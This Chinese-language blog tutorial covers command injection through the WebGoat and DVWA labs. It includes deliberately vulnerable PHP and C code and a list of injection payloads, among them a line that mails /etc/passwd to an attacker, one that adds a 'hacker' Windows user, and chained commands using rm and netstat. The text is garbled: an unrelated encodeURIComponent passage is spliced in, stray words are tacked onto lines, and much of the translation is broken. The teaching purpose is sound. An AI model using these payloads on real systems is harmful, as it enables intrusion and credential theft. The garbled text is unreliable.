Command Injection(命令行注入)

實戰部分:php

說明:這裏我用的是OWASP的一個平臺和DVWAhtml

下面簡單說一下安裝方法(windows下):
     先下載webscarab-current.zip(這個自帶tomcat,還有一個下載方式是war文件,須要本身安裝tomcat,建議使用第一個),地址爲http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project,解壓到一個文件夾,運行webgoat.bat便可啓動其自帶的tomcat,經過訪問http://localhost/WebGoat/attack,輸入用戶名guest,密碼guest便可進入linux

ncodeURIComponent 方法
將文本字符串編碼爲一個統一資源標識符 (URI) 的一個有效組件。
encodeURIComponent(encodedURIString)
必選的 encodedURIString 參數表明一個已編碼的 URI 組件。
說明
encodeURIComponent 方法返回一個已編碼的 URI。若是您將編碼結果傳遞給 decodeURIComponent,那麼將返回初始的字符串。由於 encodeURIComponent 方法對全部的字符編碼,請注意,若是該字符串表明一個路徑,例如 /folder1/folder2/default.html,其中的斜槓也將被編碼。這樣一來,當該編碼結果被做爲請求發送到 web 服務器時將是無效的。若是字符串中包含不止一個 URI 組件,請使用 encodeURI 方法進行編碼。web

 

 

 

呵呵!此漏洞危害很大,不用多說。正則表達式

 

 

DVWA部分shell

 

 

源碼數據庫

<?phpwindows

if( isset( $_POST[ 'submit' ] ) ) {tomcat

 $target = $_REQUEST[ 'ip' ];安全

 // Determine OS and execute the ping command.
 if (stristr(php_uname('s'), 'Windows NT')) { 
 
  $cmd = shell_exec( 'ping  ' . $target );
  $html .= '<pre>'.$cmd.'</pre>';
  
 } else { 
 
  $cmd = shell_exec( 'ping  -c 3 ' . $target );
  $html .= '<pre>'.$cmd.'</pre>';
  
 }
 
}
?>

 

以上代碼咱們能夠看出,  $target = $_REQUEST[ 'ip' ];直接從文本框中輸入的內容,沒有任何

限制,剛剛咱們在上面也看到了,在操做系統中使用「&&」鏈接符(在windows下一個&和兩個&

均可以,在linux下必定要兩個),能夠執行多條命令。

 

---------------------------------------------------------------------------------------------------

理論部分:

 

 如何測試命令注入
  
 總結
命令注入漏洞是特別危險的,由於它們容許未經受權的執行操做系統命令, 它們的存在,由於應用程序沒法正確地驗證和消毒,使用時調用shell的功能,如的參數。 攻擊者與控制這些參數能夠欺騙應用程序執行任何系統命令本身的選擇。
例如,UNIX應用程序列出了使用的文件夾的內容。 它須要的字符串FOLDER_NAME,從用戶,沒有任何驗證,鏈接到「ls」的創建實際的命令。 應用程序,而後經過命令(「LS FOLDER_NAME 「)的系統()函數,並獲取結果。 一個命令注入漏洞,容許攻擊者注入額外的命 令在輸入字符串FOLDER_NAME的, 其結果是被欺騙應用程序執行攻擊者的額外的命 令。
爲了正確測試命令注入漏洞,應遵循如下步驟:
 第1步: 瞭解攻擊場景
 第2步: 分析緣由及對策
 第3步: 開始試驗和探索
 第4步: 微調測試案例
 
第1步: 瞭解攻擊場景
命令注入漏洞測試的第一步是要了解他們的攻擊的狀況下, 有兩種常見的類型,命令注入漏洞:
 直接命令注入。
 間接命令注入。
 
方案1: 直接命令注入
最基本的形式包括直接提供的額外的易受攻擊的應用程序的命令。命令注入 攻擊者首先發現應用程序調用系統命令做爲參數的命令,直接將用戶提供的數據, 那麼攻擊者提供的惡意命令的預期參數。 應用程序執行原來的命令,而後惡意。
詳細步驟以下:
1. 攻擊者發現,該應用程序使用客戶端輸入來執行命令。
2. 攻擊者提供的惡意客戶端輸入命令的一部分。
3. 攻擊者觀察應用程序執行其餘命令。
 
方案2: 間接命令注入
這種狀況下,命令注入,直接地或間接地提供額外的易受攻擊的應用程序能夠經過文件或環境變量的命令。 首先,攻擊者減去的應用程序調用系統命令,從外部數據源,如文件或環境變量 而後,攻擊者修改的內容的外部源中加入惡意的命令。 而後,攻擊者等待或強制執行惡意命令,與原來的應用程序。
詳細步驟以下:
1. 攻擊者發現,該應用程序使用的數據存儲在外部執行命令。
2. 攻擊者編輯外部來源包括惡意命令。
3. 攻擊者等待,直到應用程序執行原來的命令(或攻擊者試圖使該應用程序的狀態將在其中提供的命令執行)。
4. 攻擊者驗證的應用程序的執行注入的命令。
 
第2步: 分析緣由及對策
在此步驟中,你就會明白命令注入漏洞以及共同防護的緣由。 這將幫助您尋找代碼中的錯誤,並認識到安全的編碼實踐。
 
命令注入的緣由
命令注入漏洞是一個單一的緣由:可憐的輸入驗證。 創建任何應用程序,命令字符串中使用未消毒的數據容易受到此錯誤。下面的代碼片斷演示了命令注入漏洞。這在Windows下運行使用PHP代碼的輸入提供一個文本框的形式和調用EXEC 功能,鍵入的文件:

 

 


<?php
 
  $command = 'type ' . $_POST['username'];
  exec($command, $res);  
 
  for ($i = 0; $i < sizeof($res); $i++) 
         echo $res[$i].'<br>';
 
?> 

用戶能夠提供如下字符串列表中的活動鏈接在服務器:

file.txt|netstat -ano


下面的例子在C + +(由OWASP [I])運行在一個符合POSIX標準的類Unix環境,如 使用提供的命令行輸入到系統並運行的cat命令:
#include <stdio.h>
#include <unistd.h>
 
int main(int argc, char **argv) {
 
 char cat[] = "cat ";
 char *command;
 size_t commandLength;
 
 commandLength = strlen(cat) + strlen(argv[1]) + 1;
 command = (char *) malloc(commandLength);
 strncpy(command, cat, commandLength);
 strncat(command, argv[1], (commandLength - strlen(cat)) );
 
 system(command);
 return (0);
 
}

用戶能夠提供如下字符串的服務器的當前目錄的內容列出目錄的內容:

file.txt;ls 

上面的代碼片斷中使用兩種不一樣的功能,交互的shell 執行exec()和()。 下面的列表彙總了經常使用的功能,在命令注入攻擊:

 

Function Language
system, execlp,execvp, ShellExecute, _wsystem C/C++
Runtime.exec Java
exec, eval PHP
exec, open, eval,  Perl
exec, eval, execfile, input Python
Shell, ShellExecuteForExplore, ShellExecute VB

 

 

 


命令注入對策
應用程序防護命令注入漏洞,經過作正確的輸入驗證和消毒。 開發人員必須看全部狀況下,應用程序調用一個殼狀系統功能,如執行或系統,避免執行,除非參數被正確地驗證和消毒。 有兩種可能的方法來驗證這些參數:使用黑色列表或使用白名單。
黑名單檢查,而後才容許執行惡意模式。 命令注入的狀況下,一個黑色的命令列表可能包含分隔符,如分號(;)垂直劃線(|),雙破折號(| |),雙放大器(&&)危險的命令,如RM,CP,貓,LS,在淨參數,netstat,DEL,複製等, 可是,一個主要的缺點阻礙了這種對策是有效的,除非黑名單絕對是全部涉及危險的可能性,攻擊者能夠找到之外的黑名單的變化,來進行攻擊。  
白名單與安全執行模式匹配, 若是有問題的數據不匹配任何安全模式,這是不容許的。 這危險的構造,由於任何新的(惡意)結構的新變化,不符合安全的解決了這個問題一種是系統自動封鎖。 一個共同的方式來實現白名單是相匹配的輸入與安全的命令格式的正則表達式表示。 然而,複雜的正則表達式能夠寫和解釋。 開發人員必須確保他們瞭解如何編寫和解釋正則表達式以前實施這一防護。
第3步: 開始試驗和探索
在此步驟中,您將開始測試您的應用程序的基本命令注入字符串,並觀察應用程序如何反應。
一個簡單的測試字符串的開始 
首先,你須要找到全部的地方,你的應用程序調用系統命令來執行和操做, 而後在這些地方,開始探索如何命令注入所需的應用程序處理的基本特徵。 如下兩個字符串是很好的嘗試由於它們包含命令和命令注入字符:
abc;dir C:|xyz&netstat       (Windows)
abc;ls|cp&rm                 (UNIX)
若是應用程序沒有給出一個錯誤消息,由於特殊字符,而後有機會的話,它受到從命令注入漏洞。

創建一個有效的命令 
重要的是,你是可以理解的。 例如,未找到文件的錯誤,而不是一個無效的數據格式錯誤是一個很好的提示,應用程序須要處理的特殊字符做爲文件的一部分。 例如,你可能會獲得一個找不到文件的錯誤時,使用下列字符串:
file.txt|dir c:
這是由於應用程序調用exec()的如下字符串: 
cmd /c type "c:\public_html\user_files\file.txt|dir c:"  

對於輸入字符串執行附加額外的命令以前,你須要關閉的雙引號的目錄列表命令:
file.txt"|dir c:

須要特別注意引號和雙引號,由於省略了,他們能夠很容易致使注入字符串做爲數據處理。有時應用程序不反映注入的在屏幕上的命令的輸出。爲了解決這個問題,使用命令不建立屏幕輸出,但執行一個可見的行動:file.txt;mail </etc/passwd  Emails attacker the server’s passwords.file.txt|net user /add "hacker"  Adds hacker to the Windows user database.file.txt;ping%20attacker_site Pings the attacker site. 第4步: 微調測試案例數據完全地測試您的應用程序對命令注入漏洞,你必須覆蓋全部可能的入口點和命令注入是可能的狀況下的。嘗試不一樣的切入點和場景繼續探索不一樣的應用程序的入口點。 測試的狀況下,數據的格式會有所不一樣的入口點。 例如,若是你正在測試經過URL字符串file.txt的「 DIR C:可能看起來像一個2如下(取決於上的URL編碼): file.txt"|dir%20c:  file.txt"|dir+c:   重要的是,你考慮不一樣的編碼方式和數據格式額外的命令注入的入口點,如:輸入字段,URL參數,POST數據,Web服務方法,用戶界面元素,環境變量,數據庫的內容,註冊表內容,文件的內容,第三黨的API,和網絡數據包。 當間接命令注入進行測試時,重要的是你控制的源傳遞到目標函數的參數。 例如,若是你被攻擊一個使用應用程序 ,你必須控制傳遞給這個函數的文件。 讓咱們說的應用程序使用而execfile /私營/ commands.txt的,在這裏你不須要經過任何惡意的參數,你必須修改命令文件注入惡意指令,並等待(或強迫)注入要執行的命令。這是建議,進行測試時,直接噴射,您使用的環境監測工具。 您可使用Sysinternals Process Explorer的註冊表,文件系統,如今結合,找出您的應用程序使用的外部資源時調用shell或系統環境變量監控的命令。 結論 命令注入漏洞存在,由於窮人的輸入驗證和消毒交互的功能與操做系統的shell所使用的參數。 任何攻擊者控制這些參數能夠強制應用程序執行沒必要要的系統命令。 命令注入漏洞進行對比測試,包括操縱原來的命令參數,命令注入的字符串,取決於要執行的操做的入口點下測試不一樣的組合。

相關文章
相關標籤/搜索